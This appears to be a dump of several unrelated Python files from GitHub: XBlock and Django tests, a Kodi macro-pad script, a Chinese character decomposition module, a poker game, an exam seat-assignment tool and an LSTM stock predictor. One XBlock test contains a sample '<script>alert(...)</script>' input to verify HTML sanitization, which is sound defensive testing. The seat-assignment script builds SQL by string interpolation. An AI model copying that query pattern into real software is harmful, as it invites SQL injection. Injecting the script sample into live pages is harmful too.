    ', fragment.content)\n\n def test_render_with_unsafe(self):\n \"\"\"\n Test a basic rendering with default settings.\n Expects the content to be sanitized.\n \"\"\"\n field_data = DictFieldData({'data': 'Safe html'})\n block = html_xblock.HTML5XBlock(self.runtime, field_data, None)\n self.assertEqual(block.allow_javascript, False)\n fragment = block.student_view()\n self.assertIn(\n '
    Safe html<script>alert(\\'javascript\\');</script>
    ',\n fragment.content\n )\n\n def test_render_allow_js(self):\n \"\"\"\n Test a basic rendering with javascript enabled.\n Expects the content *not* to be sanitized.\n \"\"\"\n field_data = DictFieldData({\n 'data': 'Safe html',\n 'allow_javascript': True\n })\n block = html_xblock.HTML5XBlock(self.runtime, field_data, None)\n self.assertEqual(block.allow_javascript, True)\n fragment = block.student_view()\n self.assertIn('
    Safe html
    ', fragment.content)\n\n def test_substitution_no_system(self):\n \"\"\"\n Test that the substitution is not performed when `system` is not present inside XBlock.\n \"\"\"\n field_data = DictFieldData({'data': 'Safe %%USER_ID%% %%COURSE_ID%%'})\n block = html_xblock.HTML5XBlock(self.runtime, field_data, None)\n fragment = block.student_view()\n self.assertIn('
    Safe %%USER_ID%% %%COURSE_ID%%
    ', fragment.content)\n\n def test_substitution_not_found(self):\n \"\"\"\n Test that the keywords are not replaced when they're not found.\n \"\"\"\n field_data = DictFieldData({'data': 'Safe %%USER_ID%% %%COURSE_ID%%'})\n block = html_xblock.HTML5XBlock(self.runtime, field_data, None)\n block.system = Mock(anonymous_student_id=None)\n fragment = block.student_view()\n self.assertIn('
    Safe %%USER_ID%% %%COURSE_ID%%
    ', fragment.content)\n\n def test_user_id_substitution(self):\n \"\"\"\n Test replacing %%USER_ID%% with anonymous user ID.\n \"\"\"\n field_data = DictFieldData({'data': 'Safe %%USER_ID%%'})\n block = html_xblock.HTML5XBlock(self.runtime, field_data, None)\n block.system = Mock(anonymous_student_id='test_user')\n fragment = block.student_view()\n self.assertIn('
    Safe test_user
    ', fragment.content)\n\n def test_course_id_substitution(self):\n \"\"\"\n Test replacing %%COURSE_ID%% with HTML representation of course key.\n \"\"\"\n field_data = DictFieldData({'data': 'Safe %%COURSE_ID%%'})\n block = html_xblock.HTML5XBlock(self.runtime, field_data, None)\n course_locator_mock = Mock()\n course_locator_mock.html_id = Mock(return_value='test_course')\n block.system = Mock(course_id=course_locator_mock)\n fragment = block.student_view()\n self.assertIn('
    Safe test_course
    ', fragment.content)\n","repo_name":"raccoongang/ms-teams-html-xblock","sub_path":"tests/test_basics.py","file_name":"test_basics.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72371036996","text":"from django.core.cache import cache\nfrom django.contrib.auth import get_user_model\nfrom django.test import Client, TestCase\n\nfrom http import HTTPStatus\n\nfrom posts.models import Group, Post\n\nUser = get_user_model()\n\n\nclass TaskURLTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username='auth')\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='test-slug',\n description='Тестовое описание'\n )\n cls.post = Post.objects.create(\n text='Тестовый пост',\n author=cls.user,\n group=cls.group,\n )\n cls.INDEX = ('/', 'posts/index.html')\n cls.GROUP = (f'/group/{cls.post.group.slug}/', 'posts/group_list.html')\n cls.PROFILE = (\n f'/profile/{cls.post.author.username}/',\n 'posts/profile.html',\n )\n cls.DETAIL = (f'/posts/{cls.post.id}/', 'posts/post_detail.html')\n cls.EDIT = (f'/posts/{cls.post.id}/edit/', 'posts/create_post.html')\n cls.CREATE = ('/create/', 'posts/create_post.html')\n cls.NOTFOUND = ('/unexistint_page/', None)\n cls.check_status_and_template_author = [\n cls.INDEX, cls.GROUP, cls.PROFILE, cls.DETAIL, cls.EDIT, cls.CREATE\n ]\n cls.check_status_and_template_authorized = [\n cls.INDEX, cls.GROUP, cls.PROFILE, cls.DETAIL, cls.CREATE\n ]\n cls.check_status_code_all_users = [\n cls.INDEX, cls.GROUP, cls.PROFILE, cls.DETAIL,\n ]\n cls.check_create_edit_page_guest_user = [cls.EDIT, cls.CREATE]\n\n def setUp(self):\n cache.clear()\n self.guest_client = Client()\n self.user = User.objects.create_user(username='Noname')\n self.authorized_client = Client()\n self.authorized_client.force_login(self.user)\n self.post_author = User.objects.get(username='auth')\n self.post_author = Client()\n self.post_author.force_login(self.post.author)\n\n def test_urls_address_is_available_all_users(self):\n \"\"\"Проверка доступности URL-адресов всем пользователям\"\"\"\n for address_tuple, *_ in self.check_status_code_all_users:\n with self.subTest(address=address_tuple):\n response = self.guest_client.get(address_tuple).status_code\n self.assertEqual(response, HTTPStatus.OK)\n\n def test_urls_address_is_available_authorized_users(self):\n \"\"\"\n Проверка: не авторизованный пользователь\n не может создать и редактировать пост.\n \"\"\"\n for address_tuple, *_ in self.check_create_edit_page_guest_user:\n with self.subTest(address=address_tuple):\n response = self.guest_client.get(address_tuple).status_code\n self.assertEqual(response, HTTPStatus.FOUND)\n\n def test_redirect_edit_for_guest_user(self):\n \"\"\"\n Проверка: не авторизованный пользователь при попытке создать\n и отредактировать пост перенаправляется на страницу логина\n \"\"\"\n for url, _ in self.check_create_edit_page_guest_user:\n with self.subTest(url=url):\n response = self.guest_client.get(url, follow=True)\n self.assertRedirects(response, f'/auth/login/?next={url}')\n\n def test_urls_address_is_available_author_users(self):\n \"\"\"Проверка доступности URL-адресов автору постов\"\"\"\n for address_tuple, *_ in self.check_status_and_template_author:\n with self.subTest(address=address_tuple):\n response = self.post_author.get(address_tuple).status_code\n self.assertEqual(response, HTTPStatus.OK)\n\n def test_urls_address_is_available_authorized_user(self):\n \"\"\"Проверка доступности URL-адресов авторизованному пользователю\"\"\"\n for address_tuple, *_ in self.check_status_and_template_authorized:\n with self.subTest(address=address_tuple):\n response = self.post_author.get(address_tuple).status_code\n self.assertEqual(response, HTTPStatus.OK)\n\n def test_urls_uses_correct_template(self):\n \"\"\"URL-адрес использует соответсвующий шаблон.\"\"\"\n for address, template in self.check_status_and_template_author:\n with self.subTest(address=address):\n response = self.post_author.get(address)\n self.assertTemplateUsed(response, template)\n\n def test_check_not_found_page(self):\n \"\"\"\n ПРоверяем, страница /unexistint_page/\n недоступна для всех пользователей\n \"\"\"\n users_list = [\n self.guest_client,\n self.authorized_client,\n self.post_author\n ]\n for user in users_list:\n with self.subTest(address=user):\n response = user.get(self.NOTFOUND[0]).status_code\n self.assertEqual(response, HTTPStatus.NOT_FOUND)\n","repo_name":"anton1202-py/hw05_final","sub_path":"yatube/posts/tests/test_urls.py","file_name":"test_urls.py","file_ext":"py","file_size_in_byte":5370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35248352071","text":"import pickle\n\nprint(\"Creador i lector de objectes Pelis:\")\n\n\nclass pelis:\n def __init__(self, titol, director, duracio, puntuacio, genere):\n self.titol = titol\n self.director = director\n self.duracio = duracio\n self.puntuacio = puntuacio\n self.genere = genere\n\n\ntitol = input(\"Títol: \")\ndirector = input(\"Director: \")\nduracio = input(\"Duració: \")\npuntuacio = input(\"Puntuació: \")\ngenere = input(\"Genere: \")\n\n\npeli = pelis(titol, director, duracio, puntuacio, genere)\n\nwith open (\"pelis.pickle\", \"ab\") as fichero:\n pickle.dump(peli, fichero)\n\n\nllistapelis = []\nwith open (\"pelis.pickle\",\"rb\") as fichero:\n while True:\n try:\n llistapelis.append(pickle.load(fichero))\n except EOFError:\n break\n\nprint(\"\\nLlistat de Pelicules: \")\ncontador = 1\nfor p in llistapelis:\n print(\"\\nPelicula \" + str(contador) + \":\")\n print(p.titul)\n print(p.director)\n print(p.duracio)\n print(p.puntuacio)\n print(p.genere)\n contador += 1\n\n","repo_name":"JoanBayo/MP06AccesADades","sub_path":"A3_ObjectesPelis.py","file_name":"A3_ObjectesPelis.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29757809209","text":"from adafruit_hid.keyboard import Keyboard\nfrom adafruit_hid.keyboard_layout_us import KeyboardLayoutUS\nfrom adafruit_hid.keycode import Keycode\nimport board\nfrom keybow2040 import Keybow2040\nimport usb_hid\n\n# Set up Keybow\ni2c = board.I2C()\nkeybow = Keybow2040(i2c)\nkeys = keybow.keys\n\n# Set up keyboard\nkeyboard = Keyboard(usb_hid.devices)\nlayout = KeyboardLayoutUS(keyboard)\n\n\n# Define colours\ncolours = dict(\n off=(0, 0, 0),\n white=(255, 255, 255),\n red=(255, 0, 0),\n green=(0, 255, 0),\n blue=(0, 0, 255),\n cyan=(0, 255, 255),\n yellow=(255, 255, 0),\n magenta=(255, 0, 255),\n violet=(128, 0, 255),\n orange=(255, 128, 0)\n)\n\n# Kodi keyboard controls\n# https://kodi.wiki/view/Keyboard_controls\nkodi_keymap = {\n \"context menu\": Keycode.C,\n \"information\": Keycode.I,\n \"select\": Keycode.ENTER,\n \"menu\": Keycode.M,\n \"back\": Keycode.BACKSPACE,\n \"right\": Keycode.RIGHT_ARROW,\n \"up\": Keycode.UP_ARROW,\n \"left\": Keycode.LEFT_ARROW,\n \"down\": Keycode.DOWN_ARROW,\n \"vol+\": Keycode.EQUALS,\n \"vol-\": Keycode.MINUS,\n \"mute\": Keycode.F8,\n \"play/pause\": Keycode.SPACE,\n \"fast forward\": Keycode.F,\n \"rewind\": Keycode.R,\n \"stop\": Keycode.X,\n \"toggle subtitles\": Keycode.T,\n \"next subtitle\": Keycode.L,\n \"shutdown menu\": Keycode.S\n}\n\n# Define action and layer selection keys\n# Keypad numbers\n# | 3 | 7 | 11 | 15 |\n# | 2 | 6 | 10 | 14 |\n# | 1 | 5 | 9 | 13 |\n# | 0 | 4 | 8 | 12 |\n\n\ndef set_key_colours():\n for key, colour in enumerate(layers[layer].colours):\n scaled_colour = (int(elem*brightness/10) for elem in colour)\n keybow.set_led(key, *scaled_colour)\n\n\ndef increase_brightness():\n global brightness\n brightness += 1\n if brightness > 10:\n brightness = 10\n set_key_colours()\n\n\ndef decrease_brightness():\n global brightness\n brightness -= 1\n if brightness < 1:\n brightness = 1\n set_key_colours()\n\n\ndef select_layer(layer_no):\n def set_layer():\n global layer\n layer = layer_no\n\n set_key_colours()\n\n return set_layer\n\n\n# Layer class\nclass Layer():\n def __init__(self, key_specification):\n # key_specification is an ordered list of key definitions.\n # The items of key_specification can be None for an unused key or a\n # tuple of (action, colour) where action is a keycode(int), tuple of\n # keycodes or function and colour is a tuple of three integers 0-255\n # representing the red, green and blue channels respectively.\n\n # Initialise actions and colours\n self.keys = []\n self.colours = []\n\n for key_no, item in enumerate(key_specification):\n if item is None:\n # Empty key\n self.keys.append(None)\n self.colours.append(colours[\"off\"])\n elif isinstance(item, tuple):\n # Assign key action and colour\n action, colour = item\n self.keys.append(action)\n self.colours.append(colour)\n\n\n# Define layers\nlayers = [\n # Layer mimicking Kodi Kore app remote plus volume\n # | context | up | information | vol+ |\n # | left | select | right | vol- |\n # | back | down | menu | mute |\n Layer(\n [\n (select_layer(0), colours[\"green\"]),\n (kodi_keymap[\"back\"], colours[\"violet\"]),\n (kodi_keymap[\"left\"], colours[\"blue\"]),\n (kodi_keymap[\"context menu\"], colours[\"violet\"]),\n (select_layer(1), colours[\"orange\"]),\n (kodi_keymap[\"down\"], colours[\"blue\"]),\n (kodi_keymap[\"select\"], colours[\"yellow\"]),\n (kodi_keymap[\"up\"], colours[\"blue\"]),\n (select_layer(2), colours[\"orange\"]),\n (kodi_keymap[\"menu\"], colours[\"violet\"]),\n (kodi_keymap[\"right\"], colours[\"blue\"]),\n (kodi_keymap[\"information\"], colours[\"violet\"]),\n (select_layer(3), colours[\"orange\"]),\n (kodi_keymap[\"mute\"], colours[\"red\"]),\n (kodi_keymap[\"vol-\"], colours[\"cyan\"]),\n (kodi_keymap[\"vol+\"], colours[\"green\"])\n ]\n ),\n # Playback control layer\n # | toggle subtitles | next subtitle | | vol+ |\n # | play/pause | stop | | vol- |\n # | rewind | fast forward | | mute |\n Layer(\n [\n (select_layer(0), colours[\"orange\"]),\n (kodi_keymap[\"rewind\"], colours[\"blue\"]),\n (kodi_keymap[\"play/pause\"], colours[\"green\"]),\n (kodi_keymap[\"toggle subtitles\"], colours[\"yellow\"]),\n (select_layer(1), colours[\"green\"]),\n (kodi_keymap[\"fast forward\"], colours[\"blue\"]),\n (kodi_keymap[\"stop\"], colours[\"red\"]),\n (kodi_keymap[\"next subtitle\"], colours[\"magenta\"]),\n (select_layer(2), colours[\"orange\"]),\n None,\n None,\n None,\n (select_layer(3), colours[\"orange\"]),\n (kodi_keymap[\"mute\"], colours[\"red\"]),\n (kodi_keymap[\"vol-\"], colours[\"cyan\"]),\n (kodi_keymap[\"vol+\"], colours[\"green\"])\n ]\n ),\n # System layer\n Layer(\n [\n (select_layer(0), colours[\"orange\"]),\n None,\n None,\n (kodi_keymap[\"shutdown menu\"], colours[\"red\"]),\n (select_layer(1), colours[\"orange\"]),\n None,\n None,\n None,\n (select_layer(2), colours[\"green\"]),\n None,\n (\n (Keycode.CONTROL, Keycode.ALT, Keycode.RIGHT_ARROW),\n colours[\"blue\"]\n ),\n (\n (Keycode.CONTROL, Keycode.ALT, Keycode.LEFT_ARROW),\n colours[\"blue\"]\n ),\n (select_layer(3), colours[\"orange\"]),\n None,\n (decrease_brightness, colours[\"cyan\"]),\n (increase_brightness, colours[\"green\"])\n ]\n ),\n # Empty layer\n Layer(\n [\n (select_layer(0), colours[\"orange\"]),\n None,\n None,\n None,\n (select_layer(1), colours[\"orange\"]),\n None,\n None,\n None,\n (select_layer(2), colours[\"orange\"]),\n None,\n None,\n None,\n (select_layer(3), colours[\"green\"]),\n None,\n None,\n None\n ]\n )\n]\n\nfor key in keys:\n @keybow.on_press(key)\n def press_handler(key):\n action = layers[layer].keys[key.number]\n # Catch elements of Keycode\n if isinstance(action, int):\n keyboard.send(action)\n # Try to Catch a tuple of Keycodes\n elif isinstance(action, tuple):\n keyboard.send(*action)\n # Try to catch functions, not perfect as non-functions may be callable\n elif callable(action):\n action()\n\n\n# Set defaults\nlayer = 0\n# brightness [1,10]. Raw colour values are multiplied by brightness/10 and\n# rounded so that 10 represents 100% brightness and 1 10%.\nbrightness = 5\n\nwhile True:\n keybow.update()\n","repo_name":"JimMadge/kodi-macro-pad","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":7415,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"8500649184","text":"from sieveoferatosthenes import sieve\ndef longdivision(denominator):\n remaindertable = []\n numer = 1.0\n denom = denominator\n total=0\n while True:\n while numer < denom:\n numer *= 10\n numer = numer%denom\n if numer == 0:\n return 0\n if numer not in remaindertable:\n remaindertable.append(numer)\n total+=1\n else:\n break\n return total\n\nhighest = 0\nnumber = 0\ntable = {}\n\nfor x in sieve(1000):\n if longdivision(x)>highest:\n highest = longdivision(x)\n number = x\n\n \nprint(number)","repo_name":"Reboare/Euler","sub_path":"026/Euler26.py","file_name":"Euler26.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73946636998","text":"from Const import pianpang, HanziStructure\nimport os\n\ncharacters = cjk_ideographs = (\n '\\u3007' # 节选自hanzi包\n '\\u4E00-\\u9FFF' # CJK Unified Ideographs\n '\\u3400-\\u4DBF' # CJK Unified Ideographs Extension A\n '\\uF900-\\uFAFF' # CJK Compatibility Ideographs\n)\n\n\nclass HanZiDict:\n \"\"\"缓存用,避免生成大量重复的\"\"\"\n\n def __new__(cls, *args, **kwargs):\n if not hasattr(cls, \"_instance\"):\n cls._instance = super().__new__(cls)\n return cls._instance\n\n def __init__(self):\n self._dict: dict[str, HanZi] = {}\n\n def __call__(self, c):\n return self[c]\n\n def __getitem__(self, item):\n if isinstance(item, list):\n item = tuple(item)\n if item not in self._dict:\n self._dict[item] = HanZi(item)\n\n return self._dict[item]\n\n def __setitem__(self, key, value):\n self._dict[key] = value\n\n def __repr__(self):\n _s = \"\"\n for i, k in enumerate(self._dict):\n _s += f\"{i}:{self._dict[k]}\\n\"\n return _s\n\n\ndef Pianpang(parts):\n if len(parts) == 2:\n return Hanzi_dict[parts[0]], Hanzi_dict[parts[1]]\n elif parts[-1] in pianpang:\n return Hanzi_dict[parts[:-1]], Hanzi_dict[parts[-1]]\n else:\n # 默认切分最左边,理论上是找到能成字的最大部分,但是太麻烦了\n return Hanzi_dict[parts[0]], Hanzi_dict[parts[1:]]\n\n\nclass HanZi:\n def __getitem__(self, item):\n return self.sub[item]\n\n def __init__(self, c: str | tuple[str] = None):\n self.c = c\n self.father:set[str] = set()\n self.count = 0\n self.struct = HanziStructure.独体\n self.sub: tuple = (HanZi, HanZi)\n # 糊弄IDE检查\n\n if isinstance(c, str):\n char_deal(self, c)\n elif isinstance(c, tuple):\n if len(c) == 1:\n self.c = c[0]\n char_deal(self, c[0])\n else:\n list_deal(self, c)\n else:\n raise ValueError(\"HanZi: 无效的参数\")\n\n def __repr__(self):\n return f\"{self.c}->HanZi({self.count}, {self.struct.name}, {''.join(str(i) for i in self.sub)})\"\n\n def __str__(self):\n return \"\".join(self.c)\n\n def __iter__(self):\n return iter(self.sub)\n\n def my_iter(self):\n _q = [self]\n while _q:\n _ = _q.pop(0)\n yield _.c\n if _.sub:\n _q.extend(_.sub)\n\n\ndef char_deal(self:HanZi, c: str):\n self.struct = Hanzi_Structure.get(c, HanziStructure.独体)\n parts: tuple[str] = Hanzi_Splits.get(c, ())\n if self.struct == HanziStructure.独体:\n self.count = char_count.get(c, 5)\n self.sub = ()\n return\n if len(parts) == 2:\n self.sub = Hanzi_dict[parts[0]], Hanzi_dict[parts[1]]\n elif len(parts) > 2:\n # 一般认为最左边和最右边是偏旁,部首表验证一下\n self.sub = Pianpang(parts)\n else:\n self.struct = HanziStructure.独体\n self.count = char_count.get(c, 5)\n self.sub = ()\n return\n # raise ValueError(\"HanZi: 无效的参数\")\n if c in char_count:\n self.count = char_count[c]\n else:\n self.count = sum(self.count for self in self.sub)\n for cc in self.sub:\n cc.father.add(self.c)\n\n\ndef list_deal(self:HanZi, c: tuple[str]):\n self.sub = Pianpang(c)\n self.count = sum(self.count for self in self.sub)\n self.struct = HanziStructure.组合\n for cc in self.sub:\n cc.father.add(self.c)\n\n\n# def __getitem__(self, item):\n# return self.sub[item]\n\n\ndef judege_hanzi(c: str):\n for i in c:\n i = ord(i)\n if i == 0x3007 or (0x4e00 <= i <= 0x9fff) or (0x3400 <= i <= 0x4dbf) or (0xf900 <= i <= 0xfaff):\n #\n continue\n else:\n return False\n return True\n\n\n\n\n# if os.path.exists('Data/HanZiDict.pkl'):\n# from pickle import load\n# Hanzi_dict = load(open('Data/HanZiDict.pkl', 'rb'))\n# pass\n# else:\n# from _Load import Hanzi_Splits, Hanzi_Structure, Splits_Hanzi, char_count\n# Hanzi_dict = HanZiDict()\n# for i in Hanzi_Splits:\n# Hanzi_dict[i]\n# from pickle import dump\n# dump(Hanzi_dict,open('Data/HanZiDict.pkl', 'wb'))\n# Hanzi_Splits_Prue: dict[HanZi, tuple[HanZi]] \\\n# = {Hanzi_dict[key]: tuple(Hanzi_dict[i] for i in value) for key, value in Hanzi_Splits.items()}\n# Splits_Hanzi_Prue: dict[HanZi, tuple[HanZi]] \\\n# = {Hanzi_dict[key]: tuple(Hanzi_dict[i] for i in value) for key, value in Splits_Hanzi.items()}\n# import pickle\n# pickle.dump(Hanzi_dict, open(\"Data/Hanzi_dict.pkl\", \"wb\"))\n","repo_name":"Abgetrennter/ChineseSimilarChar","sub_path":"HanZi.py","file_name":"HanZi.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"69814856519","text":"from hand import hand\nfrom player import player\nfrom deck import deck\nfrom utils import compare_games\n\nmy_deck = deck()\nmy_deck.shuffle()\n\n\ndef start_game(players):\n\n table = []\n for count in range(players):\n plr = player(hand(my_deck.draw(5)))\n table.append(plr)\n\n print(plr, plr.hand.game_cards)\n\n table = compare_games(table)\n \n winner = table[0]\n if winner.splitted:\n winner_table = splitted_pot(table)\n print('\\nPot splitted!')\n print('Winners:\\n')\n for plr in winner_table:\n print('Player: {} - {} - {}'.format(plr.name, plr.hand.game_name, plr.hand.game_cards)) \n else:\n print('\\nWinner: {} - {} - {}'.format(winner.name, winner.hand.game_name, winner.hand.game_cards))\n\n\ndef splitted_pot(table):\n winner_table = []\n for plr in table:\n if plr.splitted == True:\n if plr not in winner_table:\n winner_table.append(plr)\n else:\n break\n\n return winner_table\n\n\nstart_game(5)","repo_name":"yancborges/python-poker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27444793953","text":"# **************************************************************************** #\n# #\n# ::: :::::::: #\n# algorithim.py :+: :+: :+: #\n# +:+ +:+ +:+ #\n# By: ommohame < ommohame@student.42abudhabi.ae> +#+ +:+ +#+ #\n# +#+#+#+#+#+ +#+ #\n# Created: 2022/08/08 01:45:42 by ommohame #+# #+# #\n# Updated: 2022/08/08 23:41:55 by ommohame ### ########.fr #\n# #\n# **************************************************************************** #\n\nfrom database import *\nfrom init_script import get_labs\nfrom my_config import *\n# from get_labs import get_labs\nfrom tqdm import tqdm\nimport random\n\ndef count_users(connection):\n\tcount = call_query(connection, count_users_for_exam).fetchone()\n\treturn (count[0])\n\ndef count_seats():\n\trows_count = 0\n\tfor i in rows:\n\t\trows_count += i[1] - i[0] + 1\n\tseats_per_row = seats[1] - seats[0] + 1\n\tseats_count = (seats_per_row * rows_count)\n\treturn (seats_count)\n\ndef check_user(user, seat, connection):\n\tseat_1 = call_query(connection, f\"SELECT first_seat FROM students WHERE login = '{user}'\").fetchone()[0]\n\tseat_2 = call_query(connection, f\"SELECT second_seat FROM students WHERE login = '{user}'\").fetchone()[0]\n\tseat_3 = call_query(connection, f\"SELECT third_seat FROM students WHERE login = '{user}'\").fetchone()[0]\n\tif seat_1 != seat and seat_2 != seat and seat_3 != seat:\n\t\tcall_query(connection, f\"UPDATE exam SET seat = '{seat}' WHERE login = '{user}'\")\n\t\tcall_query(connection, f\"UPDATE seats SET student = '{user}' WHERE seat = '{seat}'\")\n\t\treturn (1)\n\telse:\n\t\treturn (-1)\n\ndef\tswitch_user(user, seat, connection):\n\tcounter = 0\n\texam_users = call_query(connection, \"SELECT * FROM exam WHERE seat IS NOT NULL\").fetchall()\n\tfor old_user in exam_users:\n\t\trandom.shuffle(exam_users)\n\t\told_seat = old_user[4]\n\t\told_user_seat_1 = call_query(connection, f\"SELECT first_seat FROM students WHERE login = '{old_user[0]}'\").fetchone()[0]\n\t\told_user_seat_2 = call_query(connection, f\"SELECT second_seat FROM students WHERE login = '{old_user[0]}'\").fetchone()[0]\n\t\told_user_seat_3 = call_query(connection, f\"SELECT third_seat FROM students WHERE login = '{old_user[0]}'\").fetchone()[0]\n\t\tif seat != old_user_seat_1 and seat != old_user_seat_2 and seat != old_user_seat_3:\n\t\t\tuser_seat_1 = call_query(connection, f\"SELECT first_seat FROM students WHERE login = '{user}'\").fetchone()[0]\n\t\t\tuser_seat_2 = call_query(connection, f\"SELECT second_seat FROM students WHERE login = '{user}'\").fetchone()[0]\n\t\t\tuser_seat_3 = call_query(connection, f\"SELECT third_seat FROM students WHERE login = '{user}'\").fetchone()[0]\n\t\t\tif old_seat != user_seat_1 and old_seat != user_seat_2 and old_seat != user_seat_3:\n\t\t\t\tcall_query(connection, f\"UPDATE exam SET seat = '{old_seat}' WHERE login = '{user}'\")\n\t\t\t\tcall_query(connection, f\"UPDATE exam SET seat = '{seat}' WHERE login = '{old_user[0]}'\")\n\t\t\t\tcall_query(connection, f\"UPDATE seats SET student = '{user}' WHERE seat = '{old_seat}'\")\n\t\t\t\tcall_query(connection, f\"UPDATE seats SET student = '{old_user[0]}' WHERE seat = '{seat}'\")\n\t\t\t\treturn (1)\n\t\tif (counter == 10):\n\t\t\tcall_query(connection, f\"UPDATE exam SET seat = '{seat}' WHERE login = '{user}'\")\n\t\t\tcall_query(connection, f\"UPDATE seats SET student = '{user}' WHERE seat = '{seat}'\")\n\t\t\treturn (1)\n\t\tcounter += 1\n\tcall_query(connection, f\"UPDATE exam SET seat = '{seat}' WHERE login = '{user}'\")\n\tcall_query(connection, f\"UPDATE seats SET student = '{user}' WHERE seat = '{seat}'\")\n\treturn (1)\n\ndef assign_seats(connection, space):\n\texam_users = call_query(connection, \"SELECT * FROM exam\").fetchall()\n\trandom.shuffle(exam_users)\n\tfor user in tqdm(exam_users, desc='assigning seats', ascii='░▒█'):\n\t\tseats = call_query(connection, \"SELECT * FROM seats WHERE student IS NULL\").fetchall()\n\t\tif not seats:\n\t\t\treturn\n\t\tcounter = 0\n\t\tseat = random.choice(seats)\n\t\tret = check_user(user[0], seat[0], connection)\n\t\twhile ret != 1:\n\t\t\tseat = random.choice(seats)\n\t\t\tret = check_user(user[0], seat[0], connection)\n\t\t\tif counter == 3 and ret != 1:\n\t\t\t\tret = switch_user(user[0], seat[0], connection)\n\t\t\t\tbreak\n\t\t\tcounter += 1\n\tprint('')\n\n\ndef update_students_table(connection, space):\n\texam_users = call_query(connection, \"SELECT login, seat FROM exam\").fetchall()\n\tfor user in tqdm(exam_users, desc='updating the students table', ascii='░▒█'):\n\t\tif user[1]:\n\t\t\tuser_s = call_query(connection, f\"SELECT * FROM students WHERE login = '{user[0]}'\").fetchone()\n\t\t\tseat_1 = user_s[4]\n\t\t\tseat_2 = user_s[5]\n\t\t\tseat_3 = user_s[6]\n\t\t\tif not seat_1 and not seat_2 and not seat_3:\n\t\t\t\tcall_query(connection, f\"UPDATE students SET first_seat = '{user[1]}' WHERE login = '{user[0]}'\")\n\t\t\telif seat_1 and not seat_2 and not seat_3:\n\t\t\t\tcall_query(connection, f\"UPDATE students SET second_seat = '{user[1]}' WHERE login = '{user[0]}'\")\n\t\t\telif seat_1 and seat_2 and not seat_3:\n\t\t\t\tcall_query(connection, f\"UPDATE students SET third_seat = '{user[1]}' WHERE login = '{user[0]}'\")\n\t\t\telif seat_1 and seat_2 and seat_3:\n\t\t\t\tcall_query(connection, f\"UPDATE students SET first_seat = '{seat_2}' WHERE login = '{user[0]}'\")\n\t\t\t\tcall_query(connection, f\"UPDATE students SET second_seat = '{seat_3}' WHERE login = '{user[0]}'\")\n\t\t\t\tcall_query(connection, f\"UPDATE students SET third_seat = '{user[1]}' WHERE login = '{user[0]}'\")\n\tprint('')\n\n\ndef algoritim(connection):\n\tusers_count = count_users(connection)\n\tif users_count == 0:\n\t\tprint(\"Zero students subscribed for the exam\\nexiting the script\")\n\t\texit(0)\n\tseats_count = count_seats()\n\tif users_count > seats_count:\n\t\tprint(\"No enough seats\")\n\t\texit(0)\n\tspace = seats_count // users_count\n\tif (space <= 0):\n\t\tspace = 1\n\tget_labs(connection, space)\n\tassign_seats(connection, space)\n\tupdate_students_table(connection, space)\n","repo_name":"ghamry03/42examseatings","sub_path":"algorithim.py","file_name":"algorithim.py","file_ext":"py","file_size_in_byte":6139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74347432196","text":"from sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_absolute_error\nfrom keras.models import Model\nfrom keras.layers import LSTM, Dense, Input, Activation\nfrom keras import optimizers\nimport matplotlib.pyplot as plt\nimport yfinance as yf\nimport numpy as np\n\nticker = 'AAPL'\n\ndata = yf.download(tickers=ticker, start='2020-01-01', end='2023-08-03')\n\ndata['TargetNextClose'] = data['Adj Close'].shift(-1)\n\ndata.dropna(inplace=True)\ndata.reset_index(inplace=True)\ndata.drop(['Date', 'Close', 'Volume'], axis=1, inplace=True)\n\nscaler = MinMaxScaler(feature_range=(0, 1))\nscaled_data = scaler.fit_transform(data)\n\nX = []\nrecent_days = 30\nfor j in range(data.shape[1] - 2):\n X.append([])\n for i in range(recent_days, scaled_data.shape[0]):\n X[j].append(scaled_data[i - recent_days:i, j])\n\nX = np.moveaxis(X, [0], [2])\nX, yi = np.array(X), np.array(scaled_data[recent_days:, -1])\ny = np.reshape(yi, (len(yi), 1))\n\ntrain_percentage = 0.8\n\nsplit_limit = int(len(X) * train_percentage)\nX_train, X_test = X[:split_limit], X[split_limit:]\ny_train, y_test = y[:split_limit], y[split_limit:]\nnp.random.seed(10)\n\nlstm_input = Input(shape=(recent_days, data.shape[1] - 2), name='lstm_input')\ninputs = LSTM(150, name='first_layer')(lstm_input)\ninputs = Dense(1, name='dense_layer')(inputs)\noutput = Activation('linear', name='output')(inputs)\nmodel = Model(inputs=lstm_input, outputs=output)\nadam = optimizers.Adam()\nmodel.compile(optimizer=adam, loss='mse')\nmodel.fit(x=X_train, y=y_train, batch_size=10, epochs=50, shuffle=True, validation_split=0.1)\n\ny_pred = model.predict(X_test)\n\nmm_scaler_pred = MinMaxScaler()\nmm_scaler_pred.min_, mm_scaler_pred.scale_ = scaler.min_[0], scaler.scale_[0]\n\ny_test_scaled = mm_scaler_pred.inverse_transform(y_test)\ny_pred_scaled = mm_scaler_pred.inverse_transform(y_pred)\n\nprint('MAE: ', mean_absolute_error(y_test, y_pred))\n\nplt.figure(figsize=(30, 8))\nplt.plot(y_test_scaled, color='black', label='test')\nplt.plot(y_pred_scaled, color='green', label='pred')\nplt.legend()\nplt.show()\n\nmodel.save(\"models/\" + ticker + 